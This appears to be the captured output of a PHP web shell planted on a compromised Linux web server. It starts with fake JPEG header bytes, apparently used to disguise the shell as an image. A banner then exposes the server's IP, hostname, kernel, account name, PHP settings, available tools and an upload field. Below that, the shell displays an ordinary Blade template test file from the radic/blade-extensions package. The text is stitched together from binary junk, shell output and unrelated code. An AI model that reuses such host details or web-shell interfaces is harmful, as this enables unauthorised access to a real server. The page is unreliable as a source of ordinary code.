ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/radic/blade-extensions/tests/views/directives/ |
Upload File : |
@breakpoint
@foreach($array as $key => $val)
@assertTrue(isset($loop), '$loop exists in foreach')
@endforeach
{{-- Test spaces --}}
@foreach ( $array as $key => $val )
@assertTrue(isset($loop), '$loop exists in foreach')
@assertTrue($loop->first, 'foreach spaces test')
@break
@endforeach
{{-- Test input variants --}}
@foreach($array as $item)
@assertTrue($loop->first)
@break
@assertFalse(true, 'Break should exit the loop')
@endforeach
@foreach($array as $key => $val)
@assertTrue($loop->first)
@break
@endforeach
@foreach($getArray() as $key)
@assertTrue($loop->first)
@break
@endforeach
@foreach(array_merge($array, $getArray()) as $key)
@assertTrue($loop->first)
@break
@endforeach
@foreach($getArray(true) as $key => $val)
@assertTrue($loop->first)
@break
@endforeach
{{--@foreach($dataClass->array as $key => $val)--}}
{{--@assertTrue($loop->first)--}}
{{--@break--}}
{{--@endforeach--}}
@foreach($dataClass::getValues() as $key => $val)
@assertTrue($loop->first)
@break
@endforeach
@foreach($dataClass::getRecords() as $key => $val)
@assertTrue($loop->first)
@break
@endforeach
@foreach($dataClass::getRecords() as $key => $val)
@assertTrue($loop->first)
@break
@foreach($dataClass::getRecords() as $key2 => $val2)
@assertTrue(is_int($loop->index))
@endforeach
@endforeach
{{-- Test loop helper --}}
@set('testArray', $dataClass::getRecords())
@set('total', count($testArray))
@foreach($dataClass::getRecords() as $key => $val)
{{--@assertTrue($loop instanceof \Radic\BladeExtensions\Core\LoopItemInterface, '$loop should be an instance of LoopItemInterface')--}}
@assertTrue($loop->index == $key, 'index')
@assertTrue($loop->index1 == $key + 1, '1 based index')
@assertTrue($loop->revindex == ($total - 1) - $key, 'revindex')
@assertTrue($loop->revindex1 == $total - $key, '1 based revindex')
@if($key == 0)
@assertTrue($loop->length == $total, 'total')
@assertTrue($loop->first, 'first should be true')
@assertNotTrue($loop->last, 'last should be false')
@assertTrue($loop->even, 'even should be true')
@assertNotTrue($loop->odd, 'odd should be false')
@elseif($key == 1)
@assertTrue($loop->odd, 'odd should be true')
@assertNotTrue($loop->even, 'even should be false')
@assertNotTrue($loop->first, 'first should be false')
@assertNotTrue($loop->last, 'last should be false')
@elseif($key == $total - 1)
@assertTrue($loop->last, 'last should be true')
@assertNotTrue($loop->first, 'last should be false')
@else
@assertNotTrue($loop->first, 'first should be false')
@assertNotTrue($loop->last, 'last should be false')
@endif
@foreach($dataClass::getRecords() as $key2 => $val2)
{{--@assertTrue($loop instanceof \Radic\BladeExtensions\Core\LoopItemInterface, '$loop should be an instance of LoopItemInterface')--}}
@assertTrue($loop->index == $key2, 'index')
@assertTrue($loop->index1 == $key2 + 1, '1 based index')
@assertTrue($loop->revindex == ($total - 1) - $key2, 'revindex')
@assertTrue($loop->revindex1 == $total - $key2, '1 based revindex')
@if($key2 == 0)
@assertTrue($loop->length == $total, 'total')
@assertTrue($loop->first, 'first should be true')
@assertNotTrue($loop->last, 'last should be false')
@assertTrue($loop->even, 'even should be true')
@assertNotTrue($loop->odd, 'odd should be false')
@elseif($key2 == 1)
@assertTrue($loop->odd, 'odd should be true')
@assertNotTrue($loop->even, 'even should be false')
@assertNotTrue($loop->first, 'first should be false')
@assertNotTrue($loop->last, 'last should be false')
@elseif($key2 == $total - 1)
@assertTrue($loop->last, 'last should be true')
@assertNotTrue($loop->first, 'last should be false')
@else
@assertNotTrue($loop->first, 'first should be false')
@assertNotTrue($loop->last, 'last should be false')
@endif
{{-- test parent loop --}}
@if($key == 0)
@assertTrue($loop->parent->first, 'first should be true')
@assertNotTrue($loop->parent->last, 'last should be false')
@endif
@if($key == $key2)
@assertTrue($val == $val2, 'Assert both parent and child are the same')
@endif
@endforeach
@assertTrue(is_array($loop->getLoopStack()))
@if($loop->last)
@php
$loop->resetLoopStack();
@endphp
@endif
@endforeach
@assertNull($loop, 'End of loop stack should be null but is not null')
@foreach([
'this' => 'is',
'multi' => 'line'
] as $key => $val)
@if($loop->first)
@assertEquals($val, 'is')
@elseif($loop->last)
@assertEquals($val, 'line')
@endif
@endforeach